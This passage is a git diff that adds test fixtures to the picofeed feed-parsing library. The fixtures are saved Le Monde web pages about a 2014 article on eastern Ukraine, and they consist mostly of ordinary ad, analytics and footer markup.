+ require(["lmd/ui/lecture-zen"], function(lectureZen) {
+ var instanceLectureZen = lectureZen.getInstance();
+ instanceLectureZen.init({
+ id: lmd.context.item.id,
+ envoyer: {link: "http://www.lemonde.fr/envoyer-par-email/article/2014/04/15/4400743.html"},
+ imprimer: {active:true}
+ });
+ });
+</script>
+
+<div class="OUTBRAIN" data-src="http://www.lemonde.fr/europe/article/2014/04/15/aux-yeux-de-kiev-l-est-de-l-ukraine-n-est-pas-la-crimee_4400743_3214.html" data-widget-id="TR_1" data-ob-template="lemonde" style="display:none"></div>
+<script>lmd.onload(function () { if (lmd.conf.fsw.outbrain) { require(["http://widgets.outbrain.com/outbrain.js"]); } } );</script>
+
+
+ <div class="position_pub" data-adformat="bottom" data-adsite="50270" data-adpage="361621" data-adquery="" data-adformat-id="21488">
+ <script>
+ //sas_manager.render(21488);
+ ADVERT_AD(['50270/361621', 21488, '', 'bottom']);
+ </script>
+ <noscript>
+ <a href="http://ww690.smartadserver.com/call/pubjumpi/50270/361621/21488/S/1397596845/?" target="_blank">
+ <img src="http://ww690.smartadserver.com/call/pubi/50270/361621/21488/S/1397596845/?" border="0" alt=""></a>
+ </noscript>
+ </div>
+ <div id="aj-fc9e9f" data-aj-uri="/ajah/5m/lemonde/web/Controller_Module_Deroule_Bloc_Paves/actionAfficherBizdevOffre/WzM/yMT/Qsd/HJ1ZV0-/?key=2417784986db416a559f59526cbbb723b000f1de"></div><script>require(["jquery", "lib/jquery/plugin/jquery.ajah"],function($){$("#aj-fc9e9f").ajah({ url: "/ajah/5m/lemonde/web/Controller_Module_Deroule_Bloc_Paves/actionAfficherBizdevOffre/WzM/yMT/Qsd/HJ1ZV0-/?key=2417784986db416a559f59526cbbb723b000f1de" })});</script>
+ <div id="aj-704004" data-aj-uri="/ajah/5m/lemonde/www/Controller_Module_General_Footer_Serviciel/actionAfficher/WyJ/SVU/JSS/VFVRV9TRVJWSUNFUyJd/?key=48ef2c0f4847cd071d1f0a44fc735c67dafe3a50"></div><script>require(["jquery", "lib/jquery/plugin/jquery.ajah"],function($){$("#aj-704004").ajah({ url: "/ajah/5m/lemonde/www/Controller_Module_General_Footer_Serviciel/actionAfficher/WyJ/SVU/JSS/VFVRV9TRVJWSUNFUyJd/?key=48ef2c0f4847cd071d1f0a44fc735c67dafe3a50" })});</script>
+ <div id="footer">
+ <div class="footer_gratuit txt3">
+ <a onclick="return xt_click(this, 'C', lmd.context.page.xiti.xtn2, 'Clic_Abonnement','N');" href="http://www.lemonde.fr/abo/?clef=LT_FOOTERHOME14" class="zone_abo" >
+ <div class="abonnement">
+ <p class="contenu">
+ <span>Le monde abonnements</span>
+ Profitez du journal où et quand vous voulez. Abonnements papier, offres 100 % numériques sur Web et tablette.
+ </p>
+ <p class="bt">
+ <span class="btn">S'abonner au Monde &agrave; partir de 1 &euro;</span>
+ </p>
+ </div>
+<img src="data:image/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" width="350" height="155" alt=" " data-src="//s1.lemde.fr/medias/web/1.2.652/img/elements_lm/footer_supports.png" data-lazyload="true" onload="lmd.pic(this);" onerror="lmd.pic(this);" class="lazy-retina"> </a>
+ <div class="deja_abonne">
+ <div>
+ <span class="accroche">Déjà abonné au<br>journal <em>Le Monde</em> ?</span>
+ <ul>
+ <li><span data-target="_blank" data-href="aHR0cDovL3d3dy5sZW1vbmRlLmZyL3dlYi9hYm9wYXBpZXIvMSwyNy0wLDEtMCwwLmh0bWw=" class="obf">Activez votre accès à l'Édition abonnés du Monde.fr</span></li>
+ <li><span data-target="_blank" data-href="aHR0cDovL21vbmFiby5sZW1vbmRlLmZyLyN4dG9yPUFELTMyMjgwMDYx" class="obf">Gérez votre abonnement</span></li>
+ </ul>
+ </div>
+<img src="data:image/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" width="123" height="78" alt=" " data-src="//s1.lemde.fr/medias/web/1.2.652/img/elements_lm/footer_journaux.png" data-lazyload="true" onload="lmd.pic(this);" onerror="lmd.pic(this);" class="lazy-retina"> </div>
+ </div>
+
+ <div class="footer_listes">
+ <div>
+ <span class="titre">Les rubriques du Monde.fr</span>
+ <span data-target="" data-href="aHR0cDovL3d3dy5sZW1vbmRlLmZyL2ludGVybmF0aW9uYWwv" class="obf">International</span> &#9642; <span data-target="" data-href="aHR0cDovL3d3dy5sZW1vbmRlLmZyL3BvbGl0aXF1ZS8=" class="obf">Politique</span> &#9642; <span data-target="" data-href="aHR0cDovL3d3dy5sZW1vbmRlLmZyL3NvY2lldGUv" class="obf">Société</span> &#9642; <span data-target="" data-href="aHR0cDovL3d3dy5sZW1vbmRlLmZyL2Vjb25vbWllLw==" class="obf">Économie</span> &#9642; <span data-target="" data-href="aHR0cDovL3d3dy5sZW1vbmRlLmZyL2N1bHR1cmUv" class="obf">Culture</span> &#9642; <span data-target="" data-href="aHR0cDovL3d3dy5sZW1vbmRlLmZyL3Nwb3J0Lw==" class="obf">Sport</span> &#9642; <span data-target="" data-href="aHR0cDovL3d3dy5sZW1vbmRlLmZyL3RlY2hub2xvZ2llcy8=" class="obf">Techno</span> &#9642; <span data-target="" data-href="aHR0cDovL3d3dy5sZW1vbmRlLmZyL3N0eWxlLw==" class="obf">Style</span> &#9642; <span data-target="" data-href="aHR0cDovL3d3dy5sZW1vbmRlLmZyL3ZvdXMv" class="obf">Vous</span> &#9642; <span data-target="" data-href="aHR0cDovL3d3dy5sZW1vbmRlLmZyL2lkZWVzLw==" class="obf">Idées</span> &#9642; <span data-target="" data-href="aHR0cDovL3d3dy5sZW1vbmRlLmZyL3BsYW5ldGUv" class="obf">Planète</span> &#9642; <span data-target="" data-href="aHR0cDovL3d3dy5sZW1vbmRlLmZyL2VkdWNhdGlvbi8=" class="obf">Éducation</span> &#9642; <span data-target="" data-href="aHR0cDovL3d3dy5sZW1vbmRlLmZyL2Rpc3Bhcml0aW9ucy8=" class="obf">Disparitions</span> &#9642; <span data-target="" data-href="aHR0cDovL3d3dy5sZW1vbmRlLmZyL3NhbnRlLw==" class="obf">Santé</span> &#9642; <span data-target="" data-href="aHR0cDovL3d3dy5sZW1vbmRlLmZyL21vbmRlLWFjYWRlbWllLw==" class="obf">Monde Académie</span> </div>
+ <div>
+ <span class="titre">Les services du Monde</span>
+ <span data-target="_blank" data-href="aHR0cDovL2JvdXRpcXVlLmxlbW9uZGUuZnIvI3h0b3I9QUQtOQ==" class="obf">La boutique du Monde</span> &#9642; <span data-target="_blank" data-href="aHR0cDovL2xlbW9uZGUtaG90ZWxzLmZyLyN4dG9yPUFELTE3" class="obf">Le Monde dans les hôtels</span> &#9642; <span data-target="" data-href="aHR0cDovL2FuZ2xhaXMubGVtb25kZS5mcg==" class="obf">Cours d'anglais</span> &#9642; <span data-target="" data-href="aHR0cDovL3ZvaXR1cmUtb2NjYXNpb24ubGVtb25kZS5mcg==" class="obf">Annonces auto</span> &#9642; <span data-target="" data-href="aHR0cDovL2ltbW9iaWxpZXIubGVtb25kZS5mci8=" class="obf">Annonces immo</span> &#9642; <span data-target="" data-href="aHR0cDovL3Nob3BwaW5nLmxlbW9uZGUuZnI=" class="obf">Shopping</span> &#9642; <span data-target="" data-href="aHR0cDovL2NyZWRpdC5sZW1vbmRlLmZyLw==" class="obf">Comparateur crédit</span> &#9642; <span data-target="" data-href="aHR0cDovL2RldmlzLXRyYXZhdXgubGVtb25kZS5mci8=" class="obf">Devis travaux</span> &#9642; <span data-target="" data-href="aHR0cDovL2Nvbmp1Z2Fpc29uLmxlbW9uZGUuZnI=" class="obf">Conjugaison</span> &#9642; <span data-target="" data-href="aHR0cDovL3d3dy5sZW1vbmRlLmZyL3Byb2dyYW1tZS10ZWxlLw==" class="obf">Programme télé</span> &#9642; <span data-target="" data-href="aHR0cDovL3d3dy5sZW1vbmRlLmZyL2pldXgv" class="obf">Jeux</span> &#9642; <span data-target="" data-href="aHR0cDovL3d3dy5sZW1vbmRlLmZyL21ldGVvLw==" class="obf">Météo</span> &#9642; <span data-target="" data-href="aHR0cDovL3d3dy5sZW1vbmRlLmZyL3ByYXRpcXVlL3RyYWZpYy1pZGYuaHRtbA==" class="obf">Trafic</span> &#9642; <span data-target="" data-href="aHR0cDovL3ByaXgtaW1tb2JpbGllci5sZW1vbmRlLmZyL3ByaXgtaW1tb2JpbGllci8=" class="obf">Prix de l'immobilier</span> &#9642; <span data-target="_blank" data-href="aHR0cDovL3JlY3ljbGFnZXJlY3lsdW0ubGVtb25kZS5mci8g" class="obf">Recylum</span> </div>
+ <div id="links_partenaires">
+ <span class="titre">Sur le web</span>
+ <ul>
+ <li>&rsaquo; <a href="http://sortir.telerama.fr/paris/boutiques.php" target="_blank">Boutiques &agrave; Paris</a></li>
+ <li>&rsaquo; <a href="http://www.telerama.fr/festival-de-cannes/" target="_blank">Cannes 2013</a></li>
+ <li>&rsaquo; <a href="http://www.telerama.fr/livres/livre_prefredaction.php" target="_blank">S&eacute;lection de livres</a></li>
+ <li>&rsaquo; <a href="http://www.telerama.fr/cine/film_datesortie.php" target="_blank">Bande annonce</a></li>
+ <li>&rsaquo; <a href="http://television.telerama.fr/tele/liste_chaines.php" target="_blank">Programme chaine tv</a></li>
+</ul>
+
+<ul class="liens_partenaires">
+ <li>&rsaquo; <a href="http://boutique.telerama.fr/index.php/hors-series.html" target="_blank">Hors-s&eacute;rie</a></li>
+ <li>&rsaquo; <a href="http://www.telerama.fr/musique/" target="_blank">Musique</a></li>
+ <li>&rsaquo; <a href="http://television.telerama.fr/tele/chaine-tv/m6,118.php" target="_blank">Programme TV de M6 en replay</a></li>
+ <li>&rsaquo; <a href="http://recherche.telerama.fr/recherche/recherche_salles.php?ecrivez=gaumont" target="_blank">Cin&eacute;ma Gaumont</a></li>
+ <li>&rsaquo; <a href="http://www.telerama.fr/tag/ma-vie-au-poste/" target="_blank">Blog TV</a></li>
+</ul>
+
+ </div>
+ <div>
+ <span class="titre">Les sites du Groupe</span>
+ <span data-target="" data-href="aHR0cDovL3d3dy5sZW1vbmRlLmZyL3NlcnZpY2UvcXVpX3NvbW1lc19ub3VzX3RlbGVyYW1hLmh0bWw=" class="obf">Télérama.fr</span> &#9642; <span data-target="" data-href="aHR0cDovL3d3dy5sZW1vbmRlLmZyL3NlcnZpY2UvcXVpX3NvbW1lc19ub3VzX3RhbGVudHMuaHRtbA==" class="obf">Talents.fr</span> &#9642; <span data-target="_blank" data-href="aHR0cDovL3d3dy5odWZmaW5ndG9ucG9zdC5mci8=" class="obf">Le Huffington Post</span> &#9642; <span data-target="_blank" data-href="aHR0cDovL3d3dy5jb3VycmllcmludGVybmF0aW9uYWwuY29tLw==" class="obf">CourrierInternational.com</span> &#9642; <span data-target="_blank" data-href="aHR0cDovL3d3dy5tb25kZS1kaXBsb21hdGlxdWUuZnIv" class="obf">Monde-Diplomatique.fr</span> &#9642; <span data-target="_blank" data-href="aHR0cDovL3d3dy5sZW1vbmRlcHJvLmNvbS8=" class="obf">Les Rencontres professionnelles Le Monde</span> &#9642; <span data-target="_blank" data-href="aHR0cDovL3d3dy5zZGxsZW1vbmRlLmZyLw==" class="obf">La Société des lecteurs du Monde</span> &#9642; <span data-target="_blank" data-href="aHR0cDovL3d3dy5sZW1vbmRlLmZyL2tpb3NxdWUvcmVjaGVyY2hlLw==" class="obf">Le Prix Le Monde de la recherche</span> </div>
+ </div>
+
+ <div class="footer_bas">
+ <p class="sociaux">
+ <span>Suivez-nous</span>
+ <span data-target="_blank" data-href="aHR0cDovL3d3dy5mYWNlYm9vay5jb20vbGVtb25kZS5mcg==" class="fb20x20 obf">Facebook</span><span data-target="_blank" data-href="aHR0cDovL3R3aXR0ZXIuY29tL2xlbW9uZGVmcg==" class="tw20x20 obf">Twitter</span><span data-href="aHR0cHM6Ly9wbHVzLmdvb2dsZS5jb20vK0xlTW9uZGVmcg==" class="google20x20 obf">Google+</span><span data-href="aHR0cDovL3d3dy5sZW1vbmRlLmZyL21vYmlsZS8=" class="mobile20x20 obf">Mobile</span><span data-href="aHR0cDovL3d3dy5sZW1vbmRlLmZyL3Jzcy8=" class="rss20x20 obf">RSS</span> </p>
+ <p class="lien_nl">
+ <a class="nl js_trigger_login_register" data-route="newsletters" href="https://wwws.lemonde.fr/account/?route=newsletters">Recevez nos newsletters<span>&nbsp;</span></a>
+ </p>
+ <p class="index">
+ Index actualité : <a href="/index-rubriques/A/">A</a> <a href="/index-rubriques/B/">B</a> <a href="/index-rubriques/C/">C</a> <a href="/index-rubriques/D/">D</a> <a href="/index-rubriques/E/">E</a> <a href="/index-rubriques/F/">F</a> <a href="/index-rubriques/G/">G</a> <a href="/index-rubriques/H/">H</a> <a href="/index-rubriques/I/">I</a> <a href="/index-rubriques/J/">J</a> <a href="/index-rubriques/K/">K</a> <a href="/index-rubriques/L/">L</a> <a href="/index-rubriques/M/">M</a> <a href="/index-rubriques/N/">N</a> <a href="/index-rubriques/O/">O</a> <a href="/index-rubriques/P/">P</a> <a href="/index-rubriques/Q/">Q</a> <a href="/index-rubriques/R/">R</a> <a href="/index-rubriques/S/">S</a> <a href="/index-rubriques/T/">T</a> <a href="/index-rubriques/U/">U</a> <a href="/index-rubriques/V/">V</a> <a href="/index-rubriques/W/">W</a> <a href="/index-rubriques/X/">X</a> <a href="/index-rubriques/Y/">Y</a> <a href="/index-rubriques/Z/">Z</a>
+ </p>
+ </div>
+
+ <p class="copy">
+ &copy;
+ <span data-target="" data-href="aHR0cDovL3d3dy5sZW1vbmRlLmZyL3NlcnZpY2UvbGljZW5jZV9ldF9kcm9pdHNfZGVfcmVwcm9kdWN0aW9uLmh0bWw=" class="obf">Le Monde.fr</span> |
+ <span data-target="_blank" data-href="aHR0cDovL3d3dy5vamQtaW50ZXJuZXQuY29tL2NoaWZmcmVz" class="obf">Fréquentation certifiée par l'OJD</span> |
+ <span data-target="" data-href="aHR0cDovL3d3dy5sZW1vbmRlLmZyL3NlcnZpY2UvY29uZGl0aW9uc19nZW5lcmFsZXNfZGVfdmVudGUuaHRtbA==" class="obf">CGV</span> |
+ <span data-target="" data-href="aHR0cDovL3d3dy5sZW1vbmRlLmZyL3NlcnZpY2UvbWVudGlvbnNfbGVnYWxlcy5odG1s" class="obf">Mentions légales</span> |
+ <span data-target="" data-href="aHR0cDovL3d3dy5sZW1vbmRlLmZyL3NlcnZpY2UvcXVpX3NvbW1lc19ub3VzLmh0bWw=" class="obf">Qui sommes-nous ?</span> |
+ <span data-target="" data-href="aHR0cDovL3d3dy5sZW1vbmRlLmZyL2FjdHVhbGl0ZS1tZWRpYXMvYXJ0aWNsZS8yMDEwLzExLzAzL2xhLWNoYXJ0ZS1kLWV0aGlxdWUtZXQtZGUtZGVvbnRvbG9naWUtZHUtZ3JvdXBlLWxlLW1vbmRlXzE0MzQ3MzdfMzIzNi5odG1s" class="obf">Charte groupe</span> |
+ <span data-target="_blank" data-href="aHR0cDovL21wdWJsaWNpdGUuZnI=" class="obf">Publicité</span> |
+ <a href="/sitemap/afficher_index/index.html">Index</a> |
+ <span>Aide</span> :
+ <span data-target="" data-href="aHR0cDovL3d3dy5sZW1vbmRlLmZyL3NlcnZpY2UvZmFxLmh0bWw=" class="obf">FAQ web</span> - <span data-target="" data-href="aHR0cDovL3d3dy5sZW1vbmRlLmZyL3NlcnZpY2UvZmFxXzYyNTczMy5odG1s" class="obf">FAQ abo</span> - <span data-target="_blank" data-href="aHR0cDovL21vbmFiby5sZW1vbmRlLmZyL2ZhcS8=" class="obf">FAQ journal</span> - <span data-target="" data-href="aHR0cDovL3d3dy5sZW1vbmRlLmZyL3NlcnZpY2UvZmFxXzExMDkyODkuaHRtbA==" class="obf">FAQ mobile</span> </p>
+<p class="description">Journal d'information en ligne, Le Monde.fr offre à ses visiteurs un panorama complet de
+ l'actualité. Découvrez chaque jour toute l'info en direct (de la politique à l'économie en passant par le sport et la
+ météo) sur Le Monde.fr, le site de news leader de la presse française en ligne.</p></div>
+<div class="clear">&nbsp;</div>
+
+<script>
+require(["jquery","lib/require/plugin/domReady","lmd/ui/liens-partenaires"],function(c,a,b){a(function(){b.parse()})});
+</script>
+
+ <div id="bandeau_bas">
+ <div class="conteneur_en_continu"><a href="/actualite-en-continu" class="tetiere">En Continu</a>
+
+</div>
+ <div class="conteneur_lives"></div>
+ <div class="conteneur_alerte invisible"></div>
+</div>
+
+<script>
+require(["jquery","lmd/module/alerte"],function(b,a){new a({$el:b("#bandeau_bas .conteneur_alerte")})});
+require(["jquery","lmd/module/encontinu"],function(b,a){new a({$el:b("#bandeau_bas .conteneur_en_continu")})});
+require(["jquery","lmd/module/lives"],function(b,a){(new a).attach("#bandeau_bas .conteneur_lives")});
+</script>
+
+ </div><!--/body-publicite-->
+ <div class="position_pub" data-adformat="dhtml" data-adsite="50270" data-adpage="361621" data-adquery="" data-adformat-id="21487">
+ <script>
+ //sas_manager.render(21487);
+ ADVERT_AD(['50270/361621', 21487, '', 'dhtml']);
+ </script>
+ <noscript>
+ <a href="http://ww690.smartadserver.com/call/pubjumpi/50270/361621/21487/S/1397596845/?" target="_blank">
+ <img src="http://ww690.smartadserver.com/call/pubi/50270/361621/21487/S/1397596845/?" border="0" alt=""></a>
+ </noscript>
+ </div>
+<script src="//s1.lemde.fr/medias/web/1.2.652/js/lmd/core/advert/sync.js"></script>
+<script>
+ lmd.context.page.advert.adblock=!0;
+ "smartadserver" === lmd.context.page.advert.adserver && lmd.advertController && lmd.advertController.buildAll(lmd.context.page.advert.smart.page);
+</script>
+<script>require(["lmd/core/advert/widget-position"], function(a) { a.init(); });</script> <script>
+require(["lmd/module/marketing/offre-decouverte-zen"], function(offreDecouverteZen) {
+ offreDecouverteZen.getInstance();
+});
+</script>
+
+
+<div id="xiti-logo">
+<script>
+xtnv=document;xtsd="http:"===document.location.protocol?"http://logc2":"https://logs13";xtsite=lmd.context.page.xiti.xtsite;xtn2=lmd.context.page.xiti.xtn2;xtcustom=lmd.context.page.xiti.xtcustom;xtpage=lmd.context.page.xiti.xtpage;xt_tag=lmd.context.page.xiti.xt_tag;xtergo=lmd.context.page.xiti.xtergo?"1":"0";xtdi="";xt_multc=lmd.context.page.xiti.xt_multc;null===xt_multc&&(xt_multc="");null!=xt_tag&&(window.xtparam=null!=window.xtparam?window.xtparam+("&tag="+xt_tag):"&tag="+xt_tag);
+xt_an=xt_ac="";
+(function(b,c){var f=function(a){var b,d=function(){require(["lmd/module/xiti/hit"],function(a){a.has_hit("Ad_Block::Actif")||a.hit(this,"C","0","Ad_Block::Actif","A")})};void 0!==a.context.page.advert.adblock&&!0===a.context.page.advert.adblock?void 0===a.advertController?(b=1,d()):b=2:b=4;void 0!==a.requirejs&&1!==b&&a.requirejs.addHandler(function(){d()},(void 0!==a.context.page.advert.smart.domain?a.context.page.advert.smart.domain:"")+"/call2/pubjallajax/",!0);return{status:b}}(c),e=function(a,
+b){var d=function(a,b){var d=a.readyState;if(!d||"complete"==d||"loaded"==d)try{b.apply(this)}catch(c){}},l=function(a,b){var c=document.createElement("script");c.type="text/javascript";c.async=!1;c.src=a;"function"===typeof b&&(c.addEventListener?c.addEventListener("load",function(){d(c,b)}):c.attachEvent&&c.attachEvent("onreadystatechange",function(){d(c,b)}));(document.getElementsByTagName("head")[0]||document.getElementsByTagName("body")[0]||document.getElementsByTagName("script")[0].parentNode).insertBefore(c,
+null)},e=function(){l(c.conf.medias.location.base_url_version+"/js/lib/xiti/4.4.007/xtcore.js",function(){require(["lmd/module/xiti/hit"],function(b){b.resolve()})})};return{init:function(){if(void 0===a.xtparam||null===a.xtparam)a.xtparam="";a.xtparam+="&ac="+a.xt_ac+"&an="+a.xt_an+a.xt_multc+"&x4="+b.status;l(c.conf.medias.location.base_url_version+"/js/lib/xiti/4.4.007/xtclicks.js",e)}}}(b,f),g=!1,h=!1,k=!1;if("undefined"===typeof c||""===c)e.init();else{void 0!==c.context&&null!==c.context&&void 0!==
+c.context.element&&null!==c.context.element&&void 0!==c.context.element.restreint&&(h=!0,g=c.context.element.restreint);if(-1<navigator.userAgent.toLowerCase().indexOf("google")||-1<navigator.userAgent.toLowerCase().indexOf("msnbot")||-1<navigator.userAgent.toLowerCase().indexOf("yahoo!")||-1<document.referrer.toLowerCase().indexOf("google")||-1<document.referrer.toLowerCase().indexOf("bing.com")||-1<document.referrer.toLowerCase().indexOf("search.yahoo"))k=!0;f=(document.cookie.match("(^|; )tdb_user_id=([^;]*)")||
+0)[2];void 0===f||""===f?(h&&(b.xt_multc+="&x8="+(g?k?"25":"24":"13")),sessionStorage&&sessionStorage.getItem("x9")&&(b.xt_multc+="&x9="+sessionStorage.getItem("x9"),sessionStorage.removeItem("x9")),e.init()):require(["jquery","lmd/core/auth"],function(a,f){f.loadUser().done(function(){var d;d=f.user;null!==d?(b.xt_an=0<d.id?d.id:"","inscrit"===d.type?(b.xt_ac="INSCRIT",h?(d={item_id:c.context.element.id},a.getJSON("/ws/1/restreint/verif_item/",d).done(a.proxy(function(a){a=null!==a.url&&0<a.url.length;
+b.xt_multc+="&x8="+(g?k?"25":a?"23":"24":"13");e.init()},this))):e.init()):"abonne"===d.type&&null!==d.classe_abonnement&&(b.xt_ac=d.classe_abonnement,h&&(b.xt_multc+="&x8="+(g?"23":"13")),e.init())):e.init()})})}})(this,lmd);
+</script>
+<object>
+ <noscript>
+ <img width="1" height="1" alt="" src="http://logc2.xiti.com/hit.xiti?s=43260&s2=48&p=international/europe::aux_yeux_de_kiev_l_est_de_l_ukraine_n_est_pas_la_crimee&di=&an=&ac=&x1=&x2=article&x3=le_monde_fr&x4=3" >
+ </noscript>
+</object>
+</div>
+
+<script>if(lmd.conf.fsw.google_analytics){var _gaq=_gaq||[];_gaq.push(["_setAccount","UA-15394037-2"]);_gaq.push(["_setDomainName",".lemonde.fr"]);_gaq.push(["_trackPageview"]);_gaq.push(["_trackPageLoadTime"]);var ga_src_require=('https:' == document.location.protocol) ? 'https://ssl' : 'http://www';require([ga_src_require+".google-analytics.com/ga.js"]);}</script>
+
+<script>lmd.conf.fsw.ezakus&&lmd.onload(function(){require(["lmd/core/advert/ezakus"],function(a){a.init()})});</script>
+<script>if(lmd.conf.fsw.chartbeat){_sf_async_config={uid:12231,domain:"lemonde.fr"};lmd.onload(function(){window._sf_endpt=(new Date).getTime();require([document.location.protocol+"//static.chartbeat.com/js/chartbeat.js"])});}</script>
+
+<script>if(lmd.conf.fsw.cedexis && document.location.protocol !== 'https:'){radarSettings={zoneId:"1",customerId:"10013"};lmd.onload(function(){require(["http://radar.cedexis.com/01-10013-radar10.min.js"])});}</script>
+
+<script>lmd.conf.fsw.echange_vu&&lmd.onload(function(){require(["lmd/core/metrics/echange-vu"],function(a){a.init()})});</script>
+<script>lmd.conf.fsw.ownpage && lmd.onload(function(){ require(['lmd/core/metrics/ownpage'], function(op){ op.init(); }); });</script>
+
+<script>
+lmd.conf.fsw.webvisor && lmd.onload(function() {
+ (window.yandex_metrika_callbacks = window.yandex_metrika_callbacks || []).push(function() {
+ try {
+ window.yaCounter24317818 = new Ya.Metrika({
+ id:24317818,
+ webvisor:true,
+ clickmap:true,
+ trackLinks:true,
+ accurateTrackBounce:true
+ });
+ }
+ catch(e) {}
+ });
+ require([(document.location.protocol === "https:" ? "https:" : "http:") + "//mc.yandex.ru/metrika/watch.js"]);
+});
+</script>
+<noscript><div><img src="//mc.yandex.ru/watch/24317818" style="position:absolute; left:-9999px;" alt="" /></div></noscript>
+
+<script> require(['lmd/core/footer-tracking']); </script>
+
+
+</body>
+</html>
+
+<!--Rosae 2014/04/15 23:20:45 4.09 29.63 web7-www5:24291:2.9 httpfront--> \ No newline at end of file
diff --git a/vendor/fguillot/picofeed/tests/fixtures/html_page.html b/vendor/fguillot/picofeed/tests/fixtures/html_page.html
new file mode 100644
index 000000000..dd1600c50
--- /dev/null
+++ b/vendor/fguillot/picofeed/tests/fixtures/html_page.html
@@ -0,0 +1,967 @@
+<!doctype html>
+<!--[if lt IE 9]><html class="ie"><![endif]-->
+<!--[if gte IE 9]><!-->
+<html lang="fr">
+<!--<![endif]-->
+
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
+
+<script>
+if("undefined"===typeof lmd||!lmd)lmd={};(function(a,b){var d=a.onerror,c="";a.onerror=function(a,e,f){d&&d.apply(this,[a,e,f]);c=e+" line:"+f+" : "+a;"undefined"!==typeof b.jserrors&&"function"===typeof b.jserrors.push?10>=b.jserrors.length&&b.jserrors.push(c):b.jserrors=[c]}})(this,lmd);
+</script>
+
+
+<script>
+var a="undefined"!==typeof window.screen&&"undefined"!==typeof window.screen.width&&699>window.screen.width,b;a:{for(var c=document.cookie.split(";"),d=0;d<c.length;d++){for(var e=c[d];" "==e.charAt(0);)e=e.substring(1,e.length);if(0==e.indexOf("no_mobile=")){b=e.substring(10,e.length);break a}}b=null}var f=b||/no_mobile/.test(window.location.hash)||/\/abonnement\//.test(window.location.href),g=window.location.hostname.replace("www","mobile");
+a&&!f&&g!=window.location.hostname&&(window.location.href=[window.location.protocol+"//",g,window.location.pathname,window.location.hash].join(""));
+if("undefined"===typeof lmd||!lmd)lmd={};lmd.context={"pageType":"Element","rubrique":{"id":3214,"url_friendly":"europe","maquette":"technologies_home","parents":[{"id":3210,"url_friendly":"international"}],"rubrique_ombrelle":{"id":3214,"url_friendly":"europe"}},"rubriques":[{"id":1668278,"url_friendly":"ukraine"},{"id":3214,"url_friendly":"europe"},{"id":3210,"url_friendly":"international"}],"element":{"id":4400743,"titre":"Pourquoi l'est de l'Ukraine n'est pas la Crim\u00e9e","nature_editoriale":{"nom":"decryptage","libelle":"D\u00e9cryptage"},"type":{"id":4,"nom":"article","libelle":"Article","est_en_continu":true,"est_editorial":true},"restreint":false,"link":"\/europe\/article\/2014\/04\/15\/aux-yeux-de-kiev-l-est-de-l-ukraine-n-est-pas-la-crimee_4400743_3214.html","ensemble":{"id":1713120,"tetiere":"Ukraine"},"nb_signes":8315,"has_atome_video":true},"page":{"advert":{"active":true,"colonne_light":false,"adserver":"smartadserver","smart":{"site":"50270","page":361621,"query":null,"all_formats":"21489,21490,21935,21486,21482,21488,21483,21484,21485,21936,21487,21492,22396,21491,21493,21938,21937,23371,23885","domain":"ww690.smartadserver.com","render_mode":0}},"xiti":{"xtpage":"international\/europe::aux_yeux_de_kiev_l_est_de_l_ukraine_n_est_pas_la_crimee","xtn2":48,"xtsite":"43260","xt_multc":"&x1=&x2=article&x3=le_monde_fr","xt_abmv":null,"xt_chains":null,"xtcustom":{},"xt_tag":null,"xtergo":null},"ezakus":["g:asq","d:lemonde","flt:1","cat_l1:international","cat_l2:europe","regroup:Ukraine","t_article:article","t_contenu:article","signe:art_long","m_contenu:decryptage"],"bizdev":{"ligatus":{"primary_id":24849,"secondary_id":49649}}},"application":"www"};lmd.context.item = lmd.context.element;
+</script>
+
+<script src="//s1.lemde.fr/conf.js"></script>
+
+<script>
+(function(b,h){var k=function(a){return(document.cookie.match("(^|; )"+a+"=([^;]*)")||0)[2]},f=function(a){window.location+""!==a&&(window.location=a)},m=function(a,b){var c=k("over_conf_"+a),d;if(c)for(d in c=JSON.parse(decodeURIComponent(c)),c)b[d]!==h&&(b[d]="false"===c[d]?!1:"true"===c[d]?!0:c[d])},a=k("alm"),n=k("tdb_user_abo"),l=0,p=window.location.href,g=b.context,e=b.conf;a!==h&&""!==a&&(a=a.split("-"),2<a.length&&(l=parseInt(a[a.length-2],10)));b.auth_sync={};b.auth_sync.user_id=l;b.auth_sync.abonne= !1;n!==h&&""!==n?(b.auth_sync.abonne=!0,"abonnes"===g.application||/\/teaser\/?/.test(p)||f("http://"+e.abonnes.location.hostname+window.location.pathname+document.location.search+window.location.hash),1>!!l&&"abonnes"===g.application&&f("http://"+e.www.location.hostname+"/teaser/?connexion&url_zop="+encodeURIComponent(window.location.href))):"abonnes"===g.application&&(1<window.location.pathname.indexOf("/article/")?f("http://"+e.www.location.hostname+window.location.pathname+document.location.search+window.location.hash): f("http://"+e.www.location.hostname+"/teaser/presentation.html#connexion&url_zop="+encodeURIComponent(window.location.href)));m("fsw",e.fsw,!0);m("advert",g.page.advert,!1)})(this.lmd);
+</script>
+
+
+<title>Pourquoi l'est de l'Ukraine n'est pas la Crimée</title>
+
+<meta name="description" content="D&eacute;cryptage. Industriel et dens&eacute;ment peupl&eacute;, l'est de l'Ukraine abrite les r&eacute;gions les plus riches du pays. Apr&egrave;s la perte de la Crim&eacute;e, Kiev se dit r&eacute;solu &agrave; maintenir son int&eacute;grit&eacute; territoriale.">
+<meta name="robots" content="index, follow, noarchive">
+
+
+<meta http-equiv="refresh" content="900">
+
+<meta http-equiv="Expires" content="0">
+<meta http-equiv="Pragma" content="no-cache">
+<meta http-equiv="X-UA-Compatible" content="IE=edge">
+
+<meta name="application-name" content="Le Monde.fr">
+<meta name="DC.language" content="fr">
+<meta name="DC.format" content="text/html">
+<meta name="DC.publisher" content="Le Monde">
+<meta name="DC.identifier" content="ISSN 1950-6244">
+
+<meta name="msapplication-tooltip" content="Le Monde.fr">
+<meta name="msapplication-navbutton-color" content="#000">
+<meta name="msapplication-starturl" content="/">
+<meta name="msapplication-task" content="name=A la Une;action-uri=/;icon-uri=/medias/web/ico/ie9-pin/une.ico">
+<meta name="msapplication-task" content="name=International;action-uri=/international/;icon-uri=/medias/web/ico/ie9-pin/international.ico">
+<meta name="msapplication-task" content="name=Politique;action-uri=/politique/;icon-uri=/medias/web/ico/ie9-pin/politique.ico">
+<meta name="msapplication-task" content="name=Economie;action-uri=/economie/;icon-uri=/medias/web/ico/ie9-pin/economie.ico">
